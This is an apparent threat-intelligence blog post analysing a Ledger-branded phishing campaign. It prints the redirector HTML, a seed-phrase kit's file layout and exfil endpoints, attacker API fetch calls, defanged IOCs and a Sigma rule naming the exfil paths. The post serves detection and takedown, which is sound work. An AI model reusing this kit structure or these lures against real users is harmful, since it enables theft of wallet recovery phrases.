~/f4n6 $ grep -r "Anatomy of a Ledger Phishing Campaign: From One .eml to Live Credential-Harvesting Infrastructure" ./investigations/ --include="*.md"
Phishing Tracker

Anatomy of a Ledger Phishing Campaign: From One .eml to Live Credential-Harvesting Infrastructure

Jeff Davies 04 Sep 2026 9 min read

One spoofed "Ledger" email led to a 320-site phishing cluster, a deobfuscated seed-phrase harvester on Azure, a fake Ledger Identity API leaking its origin via CNAME, and a lesson in why vision models need a human in the loop.


Anatomy of a Ledger Phishing Campaign: From One .eml to Live Credential-Harvesting Infrastructure
A single spoofed Ledger email, a phishing-tracker pipeline, a vision model that kept us honest and three distinct pieces of attacker infrastructure, two of them still live at time of writing.

The lure

It starts the way these always do. An email, sent 2026-09-01 09:37 UTC, warning of a "customer database breach" and urging the recipient to "verify their recovery phrase." Anyone who has worked crypto fraud knows the rule: a recovery phrase is never verified online. Ever. The moment a form asks for those 12–24 words, the wallet is gone.

The headers tell the real story:

From:      support-ledger@duanneseeley[.]com
Subject:   Important Ledger Device Notification
DKIM/SPF:  PASS — but only because the phisher owns duanneseeley[.]com
           and verified it in their own Amazon SES account
Reply-To:  scam.alert.ledger@collector[.]org
Sent via:  Amazon SES (outgoing 54.240.8.13)
Target:    tr•••••@gmail.com

The SPF/DKIM pass is worth pausing on. Nothing was spoofed in the authenticated sense the attacker simply registered (or hijacked) duanneseeley[.]com, enrolled it in SES, and let Amazon's reputation vouch for them. Authentication passing ≠ sender legitimate. The Gmail spam folder caught it anyway, because reputation is more than SPF.

Links in the body route through SES's own click-tracker (jhnblchm[.]r[.]us-east-1[.]awstrack[.]me) to the real payload:

http://cloud-secure-webview[.]s3-website[.]eu-north-1[.]amazonaws[.]com

An S3 website bucket public, HTTP, and serving a 166-byte index.html that does exactly one thing:

<!-- full payload, mirrored 2026-09-04 -->
<html><head>
<meta http-equiv="refresh" content="0;url=https://verify-address[.]es/recovery-support/">
</head><body></body></html>

A redirect to a Cloudflare-fronted "recovery support" page. (The chain apparently rotates: during our collection the same flow pointed at the Azure host below.)

Scaling one email into a campaign

The seed email is one tree. Passive pivots on the payload domains URLScan, urlquery.net, Certificate Transparency, Wayback grew it into a forest: 480 candidate pages, 320 scored, 37 high-confidence at peak, dominated by a family of Ledger Live typosquats on Cloudflare Pages (*.pages[.]dev): ledger-live-faq, auth-ledger-live-sso, doc-ledger-support, portal-ledgrr-loglive, ledger-hardwere--wallet-eng and friends.

Screenshot analysis was the multiplier here. Our pipeline pushes every captured screenshot through a local vision LLM; on this run it processed 74 of 80 captures and re-graded 21 candidates upward to high confidence on visual corroboration alone. It also correctly waved through genuinely benign pages that keyword-only classifiers would have flagged.

One of those vision analyses mattered more than all the others but not in the way we expected. Keep reading.

All pages captured 2026-09-03/04 via passive scanning (URLScan). Captions include the model's assessment.

1. The Azure kit entry page (bedgries0b[.]azurewebsites[.]net) device-selection step, branded to pass casual inspection:

Azure kit entry

2. The fake "Ledger Identity" login (ledger-identity[.]pages[.]dev/login) an Astro-built credential harvester with a Cloudflare Turnstile widget. This one is live:

Ledger Identity login

3. Ledger Live typosquat landing (portal-ledgr-live-wallet[.]pages[.]dev) dark theme, emoji navigation, "Gateway to Secure Crypto":

Portal ledgr live wallet

4–8. The rest of the family "documentation" clones and fake download portals:

Doc ledger support
Ledger live download
Auth ledger live sso
Web ledgr sso live docs

A detail we enjoy: several of these pages carry a disclaimer "This guide is independent and educational. It is not the official Ledger Start page." visible to our vision model on auths-ledgrcom-start[.]pages[.]dev. Operators add these to dodge platform abuse automation while relying on the URL and branding to fool humans. The disclaimer is the tell, not an excuse.

Kit 1: The seed-phrase harvester on Azure

bedgries0b[.]azurewebsites[.]net was the jackpot a full, live kit (26 files, 4.8 MB), mirrored in 1.5 seconds. The structure maps the entire fraud workflow:

index.html        → device selection: Nano X / Nano S / Nano S Plus / Blue
recovery.html     → seed-phrase entry (600 KB — ships a BIP39 wordlist inline)
verify.html       → "verification" theatre
script1.js        → 43 KB of obfuscator.io output — the actual logic
send12/18/24.php  → per-word-count exfil endpoints (now 404)
db/searchuser.php → server-side BIP39 word validation (typeahead)
db/actiontwo_db.php → second-stage logging

script1.js is classic obfuscator.io string-array obfuscation:

var _0x5790d2=_0xca15;(function(_0x45f25c,_0x11201f){var _0x322aa1=_0xca15,
_0x2f753b=_0x45f25c();while(!![]){try{var _0x436386=parseInt(_0x322aa1(0x10e))
/0x1*(-parseInt(_0x322aa1(0x9f))/0x2)+parseInt(_0x322aa1(0x12e))/0x3* ...

But this variant uses a single-argument decoder (index + fixed offset, no per-call RC4 key), which makes static string recovery trivial. Extract the array function and the decoder, evaluate them in isolation, walk the index range:

// deob.js — dump every string from an obfuscator.io bundle (single-arg decoder)
const fs = require('fs');
const src = fs.readFileSync(process.argv[2], 'utf8');
const arrFn = src.match(/function (_0x[0-9a-f]+)\(\)\{var _0x[0-9a-f]+=\[/);
const decFn = src.match(/function (_0x[0-9a-f]+)\(_0x[0-9a-f]+,_0x[0-9a-f]+\)\{var _0x[0-9a-f]+=(_0x[0-9a-f]+)\(\);return \1=function/);
function extractFn(name) { /* brace-match the function body */ }
eval(extractFn(arrFn[1]) + '\n' + extractFn(decFn[1]) + `
const __out = [];
for (let i = 0x20; i < 0x600; i++) {
  try { const s = ${decFn[1]}(i);
    if (typeof s === 'string' && s.length > 2 && !__out.includes(s)) __out.push(s);
  } catch(e) {} }
console.log(__out.join(' | '));`);

The dump lays the kit bare endpoints, UI flow, and error handling, no dynamic analysis needed:

./send12.php | ./send18.php | ./send24.php        ← exfil, per word count
db/searchuser.php?key=%QUERY                       ← server-side word validation
db/actiontwo_db.php                                ← stage-two logging
div#twelvewordsdiv | div#eighteenwordsdiv | div#twentyfourwordsdiv
input[name=12_first_input] ... input[name=24_twentyfour_input_1]
data-word-check | last-inserted-id | last_id
Something is wrong.Please try again later.
https://www.ledger.com/ledger-live                 ← post-harvest redirect

Read that last line again: after harvesting, victims are sent to the genuine Ledger site. Friction zero, suspicion zero.

Status: front-end still serving (HTTP 200), backend handlers return Azure's File not found. the harvest backend has been pulled, likely post-takedown or mid-migration. A /.git/config probe returns 403 (not 404), suggesting a .git directory exists but is blocked.

Kit 2: The fake Ledger Identity API and a CNAME leak

ledger-identity[.]pages[.]dev/login is a different, more modern animal: an Astro-built login shell for a fictional "Ledger Identity" service, wired to the attacker's own API:

fetch(`${API_BASE}/api/v1/auth/magic_link`, { ... })
fetch(API_BASE + "/api/v1/auth/rate_limit_status?email=" + encodeURIComponent(storedEmail), ...)
// API_BASE = https://idapi[.]ledgerhq[.]nz

Two capabilities in one page: magic-link phishing (the attacker's API emails victims a "login" link from infrastructure they control) and email enumeration via the rate-limit endpoint. The page is armored with the attacker's own Cloudflare Turnstile widget sitekey 0x4AAAAAAC6U-1aqd0aobBrE which doubles as a reporting handle: sitekeys are account-bound, so a Trust & Safety report against the key hits the operator, not just the page.

Then the infrastructure hiccup that automated recon lives for: the login shell loads its styles and scripts from the attacker's CDN, ltscdn[.]m6[.]nz (BunnyCDN-backed), but the API base resolves differently:

idapi[.]ledgerhq[.]nz  → CNAME prx-nz-chc-1[.]theom[.]co[.]nz → 203[.]84[.]236[.]80

A misconfigured CNAME chain publishes the origin host a New Zealand box behind theom[.]co[.]nz bypassing the Cloudflare front entirely. The service filters generic probes (HTTP-level 000/timeout on direct requests), but the mapping is now permanent IOC record. The shell's asset domain ledgerhq[.]nz also resolves on Cloudflare anycast (104.21.80.164 / 172.67.151.144).

Status: LIVE. This is the highest-priority takedown in the set.

The false positive that vision caught and the classifier ignored

This is the part we publish on purpose.

ledger-portal-cliente[.]pages[.]dev scored high confidence, credential_phishing. Domain contains "ledger" ✓ login form ✓ Supabase backend ✓. Takedown draft: queued.

Then we read the vision model's actual description of the screenshot:

"A full-screen login page for a Brazilian accounting service called 'Ledger Contábil', presented in Portuguese... gold/amber abstract dots icon next to the wordmark 'Ledger' with 'CONTÁBIL' beneath it. Tagline: 'SEU ESCRITÓRIO MAIS PERTO DE VOCÊ'..."

It's a real Brazilian accounting firm's client portal Ledger Contábil, "cliente" as in client portal whose Supabase project (zwcpckcgtmprcacwrqtp[.]supabase[.]co, publishable key recovered from the bundle, authenticates cleanly) is simply their auth backend. A small firm deploying their PWA on Cloudflare Pages. Nothing to do with hardware wallets.

The keyword classifier saw three phishing signals. The vision model saw a woman in an office with financial dashboards. The evidence was already in our pipeline; the classification just didn't listen to it. We downgraded the candidate, pulled the associated infrastructure markers, and verified no notification draft referenced it. Had we bulk-approved the queue without an evidence audit, we'd have filed a fraudulent abuse report against an innocent accounting firm and handed their live auth backend to an "investigation" it had nothing to do with.

Automation proposes; evidence disposes.

Infrastructure map

Asset Role Status
cloud-secure-webview[.]s3-website[.]eu-north-1[.]amazonaws[.]com Seed-email payload (redirector) Live, 166 B redirect
verify-address[.]es/recovery-support/ CF-fronted recovery-phrase page Challenge-walled
bedgries0b[.]azurewebsites[.]net Full seed-phrase kit (Azure App Service) Front-end live, backend pulled
ledger-identity[.]pages[.]dev + idapi[.]ledgerhq[.]nz (+origin 203[.]84[.]236[.]80) Credential/magic-link harvest LIVE
ltscdn[.]m6[.]nz Attacker CDN (BunnyCDN) for kit 2 Live
ledger-portal-cliente[.]pages[.]dev Supabase phishing PWAbenign (Ledger Contábil, BR accounting) Corrected
30+ *.pages[.]dev Ledger typosquats Brand-impersonation landers/downloads Mixed; 2 already CF-blocked
duanneseeley[.]com SES-verified spoof sender Abuse report to AWS
jhnblchm[.]r[.]us-east-1[.]awstrack[.]me SES click-tracking (this sender) Identifies the SES config

The pages[.]dev family sits on shared Cloudflare anycast space we tested IP pivoting on the shared edge and confirmed what everyone knows and nobody enjoys: shared-CDN IPs yield nothing for attribution. Domain rotation, not IP rotation, is the operational pattern here.

IOCs (defanged)

# Sender / lure
duanneseeley[.]com                      SES-verified sender domain
jhnblchm[.]r[.]us-east-1[.]awstrack[.]me  SES click-tracking subdomain

# Kit 1 — seed-phrase harvester
cloud-secure-webview[.]s3-website[.]eu-north-1[.]amazonaws[.]com
verify-address[.]es
bedgries0b[.]azurewebsites[.]net        + /send12.php /send18.php /send24.php
                                        + /db/searchuser.php /db/actiontwo_db.php

# Kit 2 — credential / magic-link harvest
ledger-identity[.]pages[.]dev
ledgerhq[.]nz                          idapi[.]ledgerhq[.]nz
ltscdn[.]m6[.]nz                       (origin: monarchcdn[.]b-cdn[.]net)
203[.]84[.]236[.]80                    (idapi origin, via theom[.]co[.]nz)
Turnstile sitekey: 0x4AAAAAAC6U-1aqd0aobBrE

# pages[.]dev cluster (non-exhaustive; 30+ hosts)
ledger-live-faq  auth-ledger-live-sso  doc-ledger-support  portal-ledgr-live-wallet
portal-ledgrr-loglive  login-ledger-hardware  web-ledgr-sso-live-docs
ledger-hardwere--wallet-eng  ledgerlivedownload  ledger-com-ion
cloud-leger-wallet  en-ledgrr-desktop-ie  wallet-hardwre-ledger  ledgrre-live
ledger-live-support-ne  service-start-io-ledggr  starts--ledgers-com
auths-ledgrcom-start  leger-x-logn-auth-start  getting-eng-support  manage-ledgrr

Hunting queries

URLScan:

page.domain:*pages.dev AND page.title:*Ledger* AND (page.url:*start* OR page.url:*auth* OR page.url:*login*)
page.body:"recovery phrase" AND page.body:Ledger

Sigma-style (web-proxy / DNS layer), the durable logic:

title: Ledger crypto-wallet phishing kit exfil endpoints
status: experimental
logsource:
  category: proxy
detection:
  selection_exfil:
    c-uri-path|contains:
      - '/send12.php'
      - '/send18.php'
      - '/send24.php'
      - '/api/v1/auth/magic_link'
  selection_redirector:
    c-uri-query|contains: 'cloud-secure-webview'
  condition: 1 of selection_*
falsepositives:
  - Security research mirroring phishing kits
level: high

And the cheapest one of all: GET /send12.php on any host is a beacon of a seed-phrase kit 404 means the backend was pulled, 200/405 means it's alive. Worth a scheduled check on every host in the cluster; the Azure backend dying mid-campaign is exactly the churn this check catches.

Takedown and disclosure posture

  • 37 notifications drafted, zero sent at publication time — Cloudflare abuse for the pages[.]dev family, Azure/Microsoft for the kit host, AWS for the SES sender, and Cloudflare Trust & Safety against the Turnstile sitekey (the fastest kill for Kit 2, since the key is account-bound)
  • Full artifacts (kit source, deobfuscated string tables, screenshots, notification queue) are preserved in the case directory with hashes
  • No interaction with the phishing backends beyond GET-only liveness checks; no queries for victim records that data belongs to the platforms and law enforcement, not to us. Victim-notification routes go through Supabase/Cloudflare trust & safety and Ledger's brand-protection team, who can lawfully identify affected customers and watch for harvested phrases being used on-chain

Method notes

  • Pipeline: deterministic extraction → passive OSINT pivots (URLScan, urlquery.net, SearXNG, crt.sh, Wayback) → vision-assisted screenshot triage (local LLM, verified against ground truth before the run — the other vision backend on our lab network returned 500s for every image that morning, which is how we learned to test endpoints with a synthetic red-square-blue-circle image before trusting them)
  • Deobfuscation: static string-array dump (script above); no execution of attacker code
  • Confidence levels in this post: LIVE/burned statuses are from direct observation on 2026-09-04; "likely benign" for the accounting portal is a MEDIUM-confidence analyst judgment based on vision evidence, and we say so rather than launder it through automation
Post this to LinkedIn
Formatting is converted automatically — headings, bullets, a link back & hashtags. Paste straight in.
J
Jeff Davies
// read next

Related